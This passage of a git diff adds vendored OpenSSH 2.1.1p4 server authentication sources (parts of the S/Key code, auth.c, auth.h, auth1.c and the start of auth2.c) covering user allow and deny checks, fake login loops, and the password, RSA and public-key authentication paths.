SKEY_MAX_SEED_LEN), + SEEK_SET) != -1 && read(fd, hseed, + SKEY_MAX_SEED_LEN) == SKEY_MAX_SEED_LEN) { + close(fd); + fd = -1; + secret = hseed; + secretlen = SKEY_MAX_SEED_LEN; + flg = 0; + } else if (!stat(_PATH_MEM, &sb) || !stat("/", &sb)) { + t = sb.st_ctime; + secret = ctime(&t); + secretlen = strlen(secret); + flg = 0; + } + if (fd != -1) + close(fd); + } + + /* Put that in your pipe and smoke it */ + if (flg == 0) { + /* Hash secret value with username */ + SHA1_Init(&ctx); + SHA1_Update(&ctx, secret, secretlen); + SHA1_Update(&ctx, username, strlen(username)); + SHA1_Final(up, &ctx); + + /* Zero out */ + memset(secret, 0, secretlen); + + /* Now hash the hash */ + SHA1_Init(&ctx); + SHA1_Update(&ctx, up, strlen(up)); + SHA1_Final(up, &ctx); + + ptr = hash_collapse(up + 4); + + for (i = 4; i < 9; i++) { + pbuf[i] = (ptr % 10) + '0'; + ptr /= 10; + } + pbuf[i] = '\0'; + + /* Sequence number */ + ptr = ((up[2] + up[3]) % 99) + 1; + + memset(up, 0, SHA_DIGEST_LENGTH); /* SHA1 specific */ + free(up); + + (void)snprintf(skeyprompt, sizeof skeyprompt, + "otp-%.*s %d %.*s", + SKEY_MAX_HASHNAME_LEN, + skey_get_algorithm(), + ptr, SKEY_MAX_SEED_LEN, + pbuf); + } else { + /* Base last 8 chars of seed on username */ + u = username; + i = 8; + p = &pbuf[4]; + do { + if (*u == 0) { + /* Pad remainder with zeros */ + while (--i >= 0) + *p++ = '0'; + break; + } + + *p++ = (*u++ % 10) + '0'; + } while (--i != 0); + pbuf[12] = '\0'; + + (void)snprintf(skeyprompt, sizeof skeyprompt, + "otp-%.*s %d %.*s", + SKEY_MAX_HASHNAME_LEN, + skey_get_algorithm(), + 99, SKEY_MAX_SEED_LEN, pbuf); + } + return skeyprompt; +} + +#endif /* SKEY */ diff --git a/other/openssh-2.1.1p4/auth.c b/other/openssh-2.1.1p4/auth.c new file mode 100644 index 0000000..5aeeec6 --- /dev/null +++ b/other/openssh-2.1.1p4/auth.c @@ -0,0 +1,167 @@ +/* + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Copyright (c) 2000 Markus Friedl. All rights reserved. + */ + +#include "includes.h" +RCSID("$OpenBSD: auth.c,v 1.7 2000/05/17 21:37:24 deraadt Exp $"); + +#include "xmalloc.h" +#include "rsa.h" +#include "ssh.h" +#include "pty.h" +#include "packet.h" +#include "buffer.h" +#include "cipher.h" +#include "mpaux.h" +#include "servconf.h" +#include "compat.h" +#include "channels.h" +#include "match.h" +#ifdef HAVE_LOGIN_H +#include +#endif +#if defined(HAVE_SHADOW_H) && !defined(DISABLE_SHADOW) +#include +#endif /* defined(HAVE_SHADOW_H) && !defined(DISABLE_SHADOW) */ + +#include "bufaux.h" +#include "ssh2.h" +#include "auth.h" +#include "session.h" +#include "dispatch.h" + + +/* import */ +extern ServerOptions options; +extern char *forced_command; + +/* + * Check if the user is allowed to log in via ssh. If user is listed in + * DenyUsers or user's primary group is listed in DenyGroups, false will + * be returned. If AllowUsers isn't empty and user isn't listed there, or + * if AllowGroups isn't empty and user isn't listed there, false will be + * returned. + * If the user's shell is not executable, false will be returned. + * Otherwise true is returned. + */ +int +allowed_user(struct passwd * pw) +{ + struct stat st; + struct group *grp; + char *shell; + int i; +#ifdef WITH_AIXAUTHENTICATE + char *loginmsg; +#endif /* WITH_AIXAUTHENTICATE */ +#if defined(HAVE_SHADOW_H) && !defined(DISABLE_SHADOW) && \ + defined(HAS_SHADOW_EXPIRE) + struct spwd *spw; + + /* Shouldn't be called if pw is NULL, but better safe than sorry... */ + if (!pw) + return 0; + + spw = getspnam(pw->pw_name); + if (spw != NULL) { + int days = time(NULL) / 86400; + + /* Check account expiry */ + if ((spw->sp_expire > 0) && (days > spw->sp_expire)) + return 0; + + /* Check password expiry */ + if ((spw->sp_lstchg > 0) && (spw->sp_inact > 0) && + (days > (spw->sp_lstchg + spw->sp_inact))) + return 0; + } +#else + /* Shouldn't be called if pw is NULL, but better safe than sorry... */ + if (!pw) + return 0; +#endif + + /* + * Get the shell from the password data. An empty shell field is + * legal, and means /bin/sh. + */ + shell = (pw->pw_shell[0] == '\0') ? _PATH_BSHELL : pw->pw_shell; + + /* deny if shell does not exists or is not executable */ + if (stat(shell, &st) != 0) + return 0; + if (!((st.st_mode & S_IFREG) && (st.st_mode & (S_IXOTH|S_IXUSR|S_IXGRP)))) + return 0; + + /* Return false if user is listed in DenyUsers */ + if (options.num_deny_users > 0) { + if (!pw->pw_name) + return 0; + for (i = 0; i < options.num_deny_users; i++) + if (match_pattern(pw->pw_name, options.deny_users[i])) + return 0; + } + /* Return false if AllowUsers isn't empty and user isn't listed there */ + if (options.num_allow_users > 0) { + if (!pw->pw_name) + return 0; + for (i = 0; i < options.num_allow_users; i++) + if (match_pattern(pw->pw_name, options.allow_users[i])) + break; + /* i < options.num_allow_users iff we break for loop */ + if (i >= options.num_allow_users) + return 0; + } + /* Get the primary group name if we need it. Return false if it fails */ + if (options.num_deny_groups > 0 || options.num_allow_groups > 0) { + grp = getgrgid(pw->pw_gid); + if (!grp) + return 0; + + /* Return false if user's group is listed in DenyGroups */ + if (options.num_deny_groups > 0) { + if (!grp->gr_name) + return 0; + for (i = 0; i < options.num_deny_groups; i++) + if (match_pattern(grp->gr_name, options.deny_groups[i])) + return 0; + } + /* + * Return false if AllowGroups isn't empty and user's group + * isn't listed there + */ + if (options.num_allow_groups > 0) { + if (!grp->gr_name) + return 0; + for (i = 0; i < options.num_allow_groups; i++) + if (match_pattern(grp->gr_name, options.allow_groups[i])) + break; + /* i < options.num_allow_groups iff we break for + loop */ + if (i >= options.num_allow_groups) + return 0; + } + } + +#ifdef WITH_AIXAUTHENTICATE + if (loginrestrictions(pw->pw_name, S_RLOGIN, NULL, &loginmsg) != 0) { + if (loginmsg && *loginmsg) { + /* Remove embedded newlines (if any) */ + char *p; + for (p = loginmsg; *p; p++) { + if (*p == '\n') + *p = ' '; + } + /* Remove trailing newline */ + *--p = '\0'; + log("Login restricted for %s: %.100s", pw->pw_name, loginmsg); + } + return 0; + } +#endif /* WITH_AIXAUTHENTICATE */ + + /* We found no reason not to let this user try to log on... */ + return 1; +} diff --git a/other/openssh-2.1.1p4/auth.h b/other/openssh-2.1.1p4/auth.h new file mode 100644 index 0000000..61b1f2c --- /dev/null +++ b/other/openssh-2.1.1p4/auth.h @@ -0,0 +1,17 @@ +#ifndef AUTH_H +#define AUTH_H + +void do_authentication(void); +void do_authentication2(void); + +struct passwd * +auth_get_user(void); + +int allowed_user(struct passwd * pw); + +#define AUTH_FAIL_MAX 6 +#define AUTH_FAIL_LOG (AUTH_FAIL_MAX/2) +#define AUTH_FAIL_MSG "Too many authentication failures for %.100s" + +#endif + diff --git a/other/openssh-2.1.1p4/auth1.c b/other/openssh-2.1.1p4/auth1.c new file mode 100644 index 0000000..d8f2652 --- /dev/null +++ b/other/openssh-2.1.1p4/auth1.c @@ -0,0 +1,536 @@ +/* + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + */ + +#include "includes.h" +RCSID("$OpenBSD: auth1.c,v 1.2 2000/04/29 18:11:52 markus Exp $"); + +#include "xmalloc.h" +#include "rsa.h" +#include "ssh.h" +#include "packet.h" +#include "buffer.h" +#include "cipher.h" +#include "mpaux.h" +#include "servconf.h" +#include "compat.h" +#include "auth.h" +#include "session.h" + +#ifdef HAVE_OSF_SIA +# include +# include +#endif + +/* import */ +extern ServerOptions options; +extern char *forced_command; +#ifdef HAVE_OSF_SIA +extern int saved_argc; +extern char **saved_argv; +#endif /* HAVE_OSF_SIA */ + +/* + * convert ssh auth msg type into description + */ +char * +get_authname(int type) +{ + static char buf[1024]; + switch (type) { + case SSH_CMSG_AUTH_PASSWORD: + return "password"; + case SSH_CMSG_AUTH_RSA: + return "rsa"; + case SSH_CMSG_AUTH_RHOSTS_RSA: + return "rhosts-rsa"; + case SSH_CMSG_AUTH_RHOSTS: + return "rhosts"; +#ifdef KRB4 + case SSH_CMSG_AUTH_KERBEROS: + return "kerberos"; +#endif +#ifdef SKEY + case SSH_CMSG_AUTH_TIS_RESPONSE: + return "s/key"; +#endif + } + snprintf(buf, sizeof buf, "bad-auth-msg-%d", type); + return buf; +} + +/* + * The user does not exist or access is denied, + * but fake indication that authentication is needed. + */ +void +do_fake_authloop1(char *user) +{ + int attempt = 0; + + log("Faking authloop for illegal user %.200s from %.200s port %d", + user, + get_remote_ipaddr(), + get_remote_port()); + +#ifdef WITH_AIXAUTHENTICATE + loginfailed(user,get_canonical_hostname(),"ssh"); +#endif /* WITH_AIXAUTHENTICATE */ + + /* Indicate that authentication is needed. */ + packet_start(SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + + /* + * Keep reading packets, and always respond with a failure. This is + * to avoid disclosing whether such a user really exists. + */ + for (attempt = 1;; attempt++) { + /* Read a packet. This will not return if the client disconnects. */ + int plen; +#ifndef SKEY + (void)packet_read(&plen); +#else /* SKEY */ + int type = packet_read(&plen); + unsigned int dlen; + char *password, *skeyinfo; + password = NULL; + /* Try to send a fake s/key challenge. */ + if (options.skey_authentication == 1 && + (skeyinfo = skey_fake_keyinfo(user)) != NULL) { + if (type == SSH_CMSG_AUTH_TIS) { + packet_start(SSH_SMSG_AUTH_TIS_CHALLENGE); + packet_put_string(skeyinfo, strlen(skeyinfo)); + packet_send(); + packet_write_wait(); + continue; + } else if (type == SSH_CMSG_AUTH_PASSWORD && + options.password_authentication && + (password = packet_get_string(&dlen)) != NULL && + dlen == 5 && + strncasecmp(password, "s/key", 5) == 0 ) { + packet_send_debug(skeyinfo); + } + } + if (password != NULL) + xfree(password); +#endif + if (attempt > AUTH_FAIL_MAX) + packet_disconnect(AUTH_FAIL_MSG, user); + + /* + * Send failure. This should be indistinguishable from a + * failed authentication. + */ + packet_start(SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + } + /* NOTREACHED */ + abort(); +} + +/* + * read packets and try to authenticate local user *pw. + * return if authentication is successfull + */ +void +do_authloop(struct passwd * pw) +{ + int attempt = 0; + unsigned int bits; + RSA *client_host_key; + BIGNUM *n; + char *client_user = NULL, *password = NULL; + char user[1024]; + unsigned int dlen; + int plen, nlen, elen; + unsigned int ulen; + int type = 0; + void (*authlog) (const char *fmt,...) = verbose; + + /* Indicate that authentication is needed. */ + packet_start(SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + + for (attempt = 1;; attempt++) { + int authenticated = 0; + strlcpy(user, "", sizeof user); + + /* Get a packet from the client. */ + type = packet_read(&plen); + + /* Process the packet. */ + switch (type) { +#ifdef AFS + case SSH_CMSG_HAVE_KERBEROS_TGT: + if (!options.kerberos_tgt_passing) { + /* packet_get_all(); */ + verbose("Kerberos tgt passing disabled."); + break; + } else { + /* Accept Kerberos tgt. */ + char *tgt = packet_get_string(&dlen); + packet_integrity_check(plen, 4 + dlen, type); + if (!auth_kerberos_tgt(pw, tgt)) + verbose("Kerberos tgt REFUSED for %s", pw->pw_name); + xfree(tgt); + } + continue; + + case SSH_CMSG_HAVE_AFS_TOKEN: + if (!options.afs_token_passing || !k_hasafs()) { + /* packet_get_all(); */ + verbose("AFS token passing disabled."); + break; + } else { + /* Accept AFS token. */ + char *token_string = packet_get_string(&dlen); + packet_integrity_check(plen, 4 + dlen, type); + if (!auth_afs_token(pw, token_string)) + verbose("AFS token REFUSED for %s", pw->pw_name); + xfree(token_string); + } + continue; +#endif /* AFS */ +#ifdef KRB4 + case SSH_CMSG_AUTH_KERBEROS: + if (!options.kerberos_authentication) { + /* packet_get_all(); */ + verbose("Kerberos authentication disabled."); + break; + } else { + /* Try Kerberos v4 authentication. */ + KTEXT_ST auth; + char *tkt_user = NULL; + char *kdata = packet_get_string((unsigned int *) &auth.length); + packet_integrity_check(plen, 4 + auth.length, type); + + if (auth.length < MAX_KTXT_LEN) + memcpy(auth.dat, kdata, auth.length); + xfree(kdata); + + authenticated = auth_krb4(pw->pw_name, &auth, &tkt_user); + + if (authenticated) { + snprintf(user, sizeof user, " tktuser %s", tkt_user); + xfree(tkt_user); + } + } + break; +#endif /* KRB4 */ + + case SSH_CMSG_AUTH_RHOSTS: + if (!options.rhosts_authentication) { + verbose("Rhosts authentication disabled."); + break; + } + /* + * Get client user name. Note that we just have to + * trust the client; this is one reason why rhosts + * authentication is insecure. (Another is + * IP-spoofing on a local network.) + */ + client_user = packet_get_string(&ulen); + packet_integrity_check(plen, 4 + ulen, type); + + /* Try to authenticate using /etc/hosts.equiv and + .rhosts. */ + authenticated = auth_rhosts(pw, client_user); + + snprintf(user, sizeof user, " ruser %s", client_user); + break; + + case SSH_CMSG_AUTH_RHOSTS_RSA: + if (!options.rhosts_rsa_authentication) { + verbose("Rhosts with RSA authentication disabled."); + break; + } + /* + * Get client user name. Note that we just have to + * trust the client; root on the client machine can + * claim to be any user. + */ + client_user = packet_get_string(&ulen); + + /* Get the client host key. */ + client_host_key = RSA_new(); + if (client_host_key == NULL) + fatal("RSA_new failed"); + client_host_key->e = BN_new(); + client_host_key->n = BN_new(); + if (client_host_key->e == NULL || client_host_key->n == NULL) + fatal("BN_new failed"); + bits = packet_get_int(); + packet_get_bignum(client_host_key->e, &elen); + packet_get_bignum(client_host_key->n, &nlen); + + if (bits != BN_num_bits(client_host_key->n)) + log("Warning: keysize mismatch for client_host_key: " + "actual %d, announced %d", BN_num_bits(client_host_key->n), bits); + packet_integrity_check(plen, (4 + ulen) + 4 + elen + nlen, type); + + authenticated = auth_rhosts_rsa(pw, client_user, client_host_key); + RSA_free(client_host_key); + + snprintf(user, sizeof user, " ruser %s", client_user); + break; + + case SSH_CMSG_AUTH_RSA: + if (!options.rsa_authentication) { + verbose("RSA authentication disabled."); + break; + } + /* RSA authentication requested. */ + n = BN_new(); + packet_get_bignum(n, &nlen); + packet_integrity_check(plen, nlen, type); + authenticated = auth_rsa(pw, n); + BN_clear_free(n); + break; + + case SSH_CMSG_AUTH_PASSWORD: + if (!options.password_authentication) { + verbose("Password authentication disabled."); + break; + } + /* + * Read user password. It is in plain text, but was + * transmitted over the encrypted channel so it is + * not visible to an outside observer. + */ + password = packet_get_string(&dlen); + packet_integrity_check(plen, 4 + dlen, type); + +#ifdef USE_PAM + /* Do PAM auth with password */ + authenticated = auth_pam_password(pw, password); +#elif defined(HAVE_OSF_SIA) + /* Do SIA auth with password */ + if (sia_validate_user(NULL, saved_argc, saved_argv, + get_canonical_hostname(), pw->pw_name, NULL, 0, + NULL, password) == SIASUCCESS) { + authenticated = 1; + } +#else /* !USE_PAM && !HAVE_OSF_SIA */ + /* Try authentication with the password. */ + authenticated = auth_password(pw, password); +#endif /* USE_PAM */ + + memset(password, 0, strlen(password)); + xfree(password); + break; + +#ifdef SKEY + case SSH_CMSG_AUTH_TIS: + debug("rcvd SSH_CMSG_AUTH_TIS"); + if (options.skey_authentication == 1) { + char *skeyinfo = skey_keyinfo(pw->pw_name); + if (skeyinfo == NULL) { + debug("generating fake skeyinfo for %.100s.", pw->pw_name); + skeyinfo = skey_fake_keyinfo(pw->pw_name); + } + if (skeyinfo != NULL) { + /* we send our s/key- in tis-challenge messages */ + debug("sending challenge '%s'", skeyinfo); + packet_start(SSH_SMSG_AUTH_TIS_CHALLENGE); + packet_put_string(skeyinfo, strlen(skeyinfo)); + packet_send(); + packet_write_wait(); + continue; + } + } + break; + case SSH_CMSG_AUTH_TIS_RESPONSE: + debug("rcvd SSH_CMSG_AUTH_TIS_RESPONSE"); + if (options.skey_authentication == 1) { + char *response = packet_get_string(&dlen); + debug("skey response == '%s'", response); + packet_integrity_check(plen, 4 + dlen, type); + authenticated = (skey_haskey(pw->pw_name) == 0 && + skey_passcheck(pw->pw_name, response) != -1); + xfree(response); + } + break; +#else + case SSH_CMSG_AUTH_TIS: + /* TIS Authentication is unsupported */ + log("TIS authentication unsupported."); + break; +#endif + + default: + /* + * Any unknown messages will be ignored (and failure + * returned) during authentication. + */ + log("Unknown message during authentication: type %d", type); + break; + } + + /* + * Check if the user is logging in as root and root logins + * are disallowed. + * Note that root login is allowed for forced commands. + */ + if (authenticated && pw->pw_uid == 0 && !options.permit_root_login) { + if (forced_command) { + log("Root login accepted for forced command."); + } else { + authenticated = 0; + log("ROOT LOGIN REFUSED FROM %.200s", + get_canonical_hostname()); + } + } + + /* Raise logging level */ + if (authenticated || + attempt == AUTH_FAIL_LOG || + type == SSH_CMSG_AUTH_PASSWORD) + authlog = log; + + authlog("%s %s for %.200s from %.200s port %d%s", + authenticated ? "Accepted" : "Failed", + get_authname(type), + pw->pw_uid == 0 ? "ROOT" : pw->pw_name, + get_remote_ipaddr(), + get_remote_port(), + user); + +#ifdef USE_PAM + if (authenticated) { + if (!do_pam_account(pw->pw_name, client_user)) { + if (client_user != NULL) { + xfree(client_user); + client_user = NULL; + } + do_fake_authloop1(pw->pw_name); + } + return; + } +#else /* USE_PAM */ + if (authenticated) { + return; + } +#endif /* USE_PAM */ + + if (client_user != NULL) { + xfree(client_user); + client_user = NULL; + } + + if (attempt > AUTH_FAIL_MAX) { +#ifdef WITH_AIXAUTHENTICATE + loginfailed(pw->pw_name,get_canonical_hostname(),"ssh"); +#endif /* WITH_AIXAUTHENTICATE */ + packet_disconnect(AUTH_FAIL_MSG, pw->pw_name); + } + + /* Send a message indicating that the authentication attempt failed. */ + packet_start(SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + } +} + +/* + * Performs authentication of an incoming connection. Session key has already + * been exchanged and encryption is enabled. + */ +void +do_authentication() +{ + struct passwd *pw, pwcopy; + int plen; + unsigned int ulen; + char *user; +#ifdef WITH_AIXAUTHENTICATE + extern char *aixloginmsg; +#endif /* WITH_AIXAUTHENTICATE */ + + /* Get the name of the user that we wish to log in as. */ + packet_read_expect(&plen, SSH_CMSG_USER); + + /* Get the user name. */ + user = packet_get_string(&ulen); + packet_integrity_check(plen, (4 + ulen), SSH_CMSG_USER); + + setproctitle("%s", user); + +#ifdef AFS + /* If machine has AFS, set process authentication group. */ + if (k_hasafs()) { + k_setpag(); + k_unlog(); + } +#endif /* AFS */ + + /* Verify that the user is a valid user. */ + pw = getpwnam(user); + if (!pw || !allowed_user(pw)) + do_fake_authloop1(user); + xfree(user); + + /* Take a copy of the returned structure. */ + memset(&pwcopy, 0, sizeof(pwcopy)); + pwcopy.pw_name = xstrdup(pw->pw_name); + pwcopy.pw_passwd = xstrdup(pw->pw_passwd); + pwcopy.pw_uid = pw->pw_uid; + pwcopy.pw_gid = pw->pw_gid; + pwcopy.pw_dir = xstrdup(pw->pw_dir); + pwcopy.pw_shell = xstrdup(pw->pw_shell); + pw = &pwcopy; + +#ifdef USE_PAM + start_pam(pw); +#endif + + /* + * If we are not running as root, the user must have the same uid as + * the server. + */ + if (getuid() != 0 && pw->pw_uid != getuid()) + packet_disconnect("Cannot change user when server not running as root."); + + debug("Attempting authentication for %.100s.", pw->pw_name); + + /* If the user has no password, accept authentication immediately. */ + if (options.password_authentication && +#ifdef KRB4 + (!options.kerberos_authentication || options.kerberos_or_local_passwd) && +#endif /* KRB4 */ +#ifdef USE_PAM + auth_pam_password(pw, "")) { +#elif defined(HAVE_OSF_SIA) + (sia_validate_user(NULL, saved_argc, saved_argv, + get_canonical_hostname(), pw->pw_name, NULL, 0, NULL, + "") == SIASUCCESS)) { +#else /* !HAVE_OSF_SIA && !USE_PAM */ + auth_password(pw, "")) { +#endif /* USE_PAM */ + /* Authentication with empty password succeeded. */ + log("Login for user %s from %.100s, accepted without authentication.", + pw->pw_name, get_remote_ipaddr()); + } else { + /* Loop until the user has been authenticated or the + connection is closed, do_authloop() returns only if + authentication is successfull */ + do_authloop(pw); + } + + /* The user has been authenticated and accepted. */ +#ifdef WITH_AIXAUTHENTICATE + /* We don't have a pty yet, so just label the line as "ssh" */ + if (loginsuccess(user,get_canonical_hostname(),"ssh",&aixloginmsg) < 0) + aixloginmsg = NULL; +#endif /* WITH_AIXAUTHENTICATE */ + packet_start(SSH_SMSG_SUCCESS); + packet_send(); + packet_write_wait(); + + /* Perform session preparation. */ + do_authenticated(pw); +} diff --git a/other/openssh-2.1.1p4/auth2.c b/other/openssh-2.1.1p4/auth2.c new file mode 100644 index 0000000..4926ff8 --- /dev/null +++ b/other/openssh-2.1.1p4/auth2.c @@ -0,0 +1,542 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include "includes.h" +RCSID("$OpenBSD: auth2.c,v 1.12 2000/07/07 03:55:03 todd Exp $"); + +#include +#include +#include + +#include "xmalloc.h" +#include "rsa.h" +#include "ssh.h" +#include "pty.h" +#include "packet.h" +#include "buffer.h" +#include "cipher.h" +#include "servconf.h" +#include "compat.h" +#include "channels.h" +#include "bufaux.h" +#include "ssh2.h" +#include "auth.h" +#include "session.h" +#include "dispatch.h" +#include "auth.h" +#include "key.h" +#include "kex.h" + +#include "dsa.h" +#include "uidswap.h" +#include "auth-options.h" + +#ifdef HAVE_OSF_SIA +# include +# include +#endif + +/* import */ +extern ServerOptions options; +extern unsigned char *session_id2; +extern int session_id2_len; + +/* protocol */ + +void input_service_request(int type, int plen); +void input_userauth_request(int type, int plen); +void protocol_error(int type, int plen); + +/* auth */ +int ssh2_auth_none(struct passwd *pw); +int ssh2_auth_password(struct passwd *pw); +int ssh2_auth_pubkey(struct passwd *pw, char *service); + +/* helper */ +struct passwd* auth_set_user(char *u, char *s); +int user_dsa_key_allowed(struct passwd *pw, Key *key); + +typedef struct Authctxt Authctxt; +struct Authctxt { + char *user; + char *service; + struct passwd pw; + int valid; +}; +static Authctxt *authctxt = NULL; +static int userauth_success = 0; + +/* + * loop until userauth_success == TRUE + */ + +void +do_authentication2() +{ + /* turn off skey/kerberos, not supported by SSH2 */ +#ifdef SKEY + options.skey_authentication = 0; +#endif +#ifdef KRB4 + options.kerberos_authentication = 0; +#endif + + dispatch_init(&protocol_error); + dispatch_set(SSH2_MSG_SERVICE_REQUEST, &input_service_request); + dispatch_run(DISPATCH_BLOCK, &userauth_success); + do_authenticated2(); +} + +void +protocol_error(int type, int plen) +{ + log("auth: protocol error: type %d plen %d", type, plen); + packet_start(SSH2_MSG_UNIMPLEMENTED); + packet_put_int(0); + packet_send(); + packet_write_wait(); +} + +void +input_service_request(int type, int plen) +{ + unsigned int len; + int accept = 0; + char *service = packet_get_string(&len); + packet_done(); + + if (strcmp(service, "ssh-userauth") == 0) { + if (!userauth_success) { + accept = 1; + /* now we can handle user-auth requests */ + dispatch_set(SSH2_MSG_USERAUTH_REQUEST, &input_userauth_request); + } + } + /* XXX all other service requests are denied */ + + if (accept) { + packet_start(SSH2_MSG_SERVICE_ACCEPT); + packet_put_cstring(service); + packet_send(); + packet_write_wait(); + } else { + debug("bad service request %s", service); + packet_disconnect("bad service request %s", service); + } + xfree(service); +} + +void +input_userauth_request(int type, int plen) +{ + static void (*authlog) (const char *fmt,...) = verbose; + static int attempt = 0; + unsigned int len; + int authenticated = 0; + char *user, *service, *method, *authmsg = NULL; + struct passwd *pw; +#ifdef WITH_AIXAUTHENTICATE + extern char *aixloginmsg; +#endif /* WITH_AIXAUTHENTICATE */ + + user = packet_get_string(&len); + service = packet_get_string(&len); + method = packet_get_string(&len); + if (++attempt == AUTH_FAIL_MAX) { +#ifdef WITH_AIXAUTHENTICATE + loginfailed(user,get_canonical_hostname(),"ssh"); +#endif /* WITH_AIXAUTHENTICATE */ + packet_disconnect("too many failed userauth_requests"); + } + debug("userauth-request for user %s service %s method %s", user, service, method); + + /* XXX we only allow the ssh-connection service */ + pw = auth_set_user(user, service); + if (pw && strcmp(service, "ssh-connection")==0) { + if (strcmp(method, "none") == 0) { + authenticated = ssh2_auth_none(pw); + } else if (strcmp(method, "password") == 0) { + authenticated = ssh2_auth_password(pw); + } else if (strcmp(method, "publickey") == 0) { + authenticated = ssh2_auth_pubkey(pw, service); + } + } + if (authenticated && pw && pw->pw_uid == 0 && !options.permit_root_login) { + authenticated = 0; + log("ROOT LOGIN REFUSED FROM %.200s", + get_canonical_hostname()); + } + +#ifdef USE_PAM + if (authenticated && !do_pam_account(pw->pw_name, NULL)) + authenticated = 0; +#endif /* USE_PAM */ + + /* Raise logging level */ + if (authenticated == 1 || + attempt == AUTH_FAIL_LOG || + strcmp(method, "password") == 0) + authlog = log; + + /* Log before sending the reply */ + if (authenticated == 1) { + authmsg = "Accepted"; + } else if (authenticated == 0) { + authmsg = "Failed"; + } else { + authmsg = "Postponed"; + } + authlog("%s %s for %.200s from %.200s port %d ssh2", + authmsg, + method, + pw && pw->pw_uid == 0 ? "ROOT" : user, + get_remote_ipaddr(), + get_remote_port()); + + /* XXX todo: check if multiple auth methods are needed */ + if (authenticated == 1) { +#ifdef WITH_AIXAUTHENTICATE + /* We don't have a pty yet, so just label the line as "ssh" */ + if (loginsuccess(user,get_canonical_hostname(),"ssh", + &aixloginmsg) < 0) + aixloginmsg = NULL; +#endif /* WITH_AIXAUTHENTICATE */ + /* turn off userauth */ + dispatch_set(SSH2_MSG_USERAUTH_REQUEST, &protocol_error); + packet_start(SSH2_MSG_USERAUTH_SUCCESS); + packet_send(); + packet_write_wait(); + /* now we can break out */ + userauth_success = 1; + } else if (authenticated == 0) { + packet_start(SSH2_MSG_USERAUTH_FAILURE); + packet_put_cstring("publickey,password"); /* XXX dynamic */ + packet_put_char(0); /* XXX partial success, unused */ + packet_send(); + packet_write_wait(); + } + + xfree(service); + xfree(user); + xfree(method); +} + +int +ssh2_auth_none(struct passwd *pw) +{ +#ifdef HAVE_OSF_SIA + extern int saved_argc; + extern char **saved_argv; +#endif + + packet_done(); + +#ifdef USE_PAM + return auth_pam_password(pw, ""); +#elif defined(HAVE_OSF_SIA) + return(sia_validate_user(NULL, saved_argc, saved_argv, + get_canonical_hostname(), pw->pw_name, NULL, 0, NULL, + "") == SIASUCCESS); +#else /* !HAVE_OSF_SIA && !USE_PAM */ + return auth_password(pw, ""); +#endif /* USE_PAM */ +} +int +ssh2_auth_password(struct passwd *pw) +{ + char *password; + int authenticated = 0; + int change; + unsigned int len; +#ifdef HAVE_OSF_SIA + extern int saved_argc; + extern char **saved_argv; +#endif + change = packet_get_char(); + if (change) + log("password change not supported"); + password = packet_get_string(&len); + packet_done(); + if (options.password_authentication && +#ifdef USE_PAM + auth_pam_password(pw, password) == 1) +#elif defined(HAVE_OSF_SIA) + sia_validate_user(NULL, saved_argc, saved_argv, + get_canonical_hostname(), pw->pw_name, NULL, 0, + NULL, password) == SIASUCCESS) +#else /* !USE_PAM && !HAVE_OSF_SIA */ + auth_password(pw, password) == 1) +#endif /* USE_PAM */ + authenticated = 1; + memset(password, 0, len); + xfree(password); + return authenticated; +} +int +ssh2_auth_pubkey(struct passwd *pw, char *service) +{ + Buffer b; + Key *key; + char *pkalg, *pkblob, *sig; + unsigned int alen, blen, slen; + int have_sig; + int authenticated = 0; + + if (options.dsa_authentication == 0) { + debug("pubkey auth disabled"); + return 0; + } + have_sig = packet_get_char(); + pkalg = packet_get_string(&alen); + if (strcmp(pkalg, KEX_DSS) != 0) { + xfree(pkalg); + log("bad pkalg %s", pkalg); /*XXX*/ + return 0; + } + pkblob = packet_get_string(&blen); + key = dsa_key_from_blob(pkblob, blen); + if (key != NULL) { + if (have_sig) { + sig = packet_get_string(&slen); + packet_done(); + buffer_init(&b); + if (datafellows & SSH_COMPAT_SESSIONID_ENCODING) { + buffer_put_string(&b, session_id2, session_id2_len); + } else { + buffer_append(&b, session_id2, session_id2_len); + } + /* reconstruct packet */ + buffer_put_char(&b, SSH2_MSG_USERAUTH_REQUEST); + buffer_put_cstring(&b, pw->pw_name); + buffer_put_cstring(&b, + datafellows & SSH_BUG_PUBKEYAUTH ? + "ssh-userauth" : + service); + buffer_put_cstring(&b, "publickey"); + buffer_put_char(&b, have_sig); + buffer_put_cstring(&b, KEX_DSS); + buffer_put_string(&b, pkblob, blen); +#ifdef DEBUG_DSS + buffer_dump(&b); +#endif + /* test for correct signature */ + if (user_dsa_key_allowed(pw, key) && + dsa_verify(key, sig, slen, buffer_ptr(&b), buffer_len(&b)) == 1) + authenticated = 1; + buffer_clear(&b); + xfree(sig); + } else { + 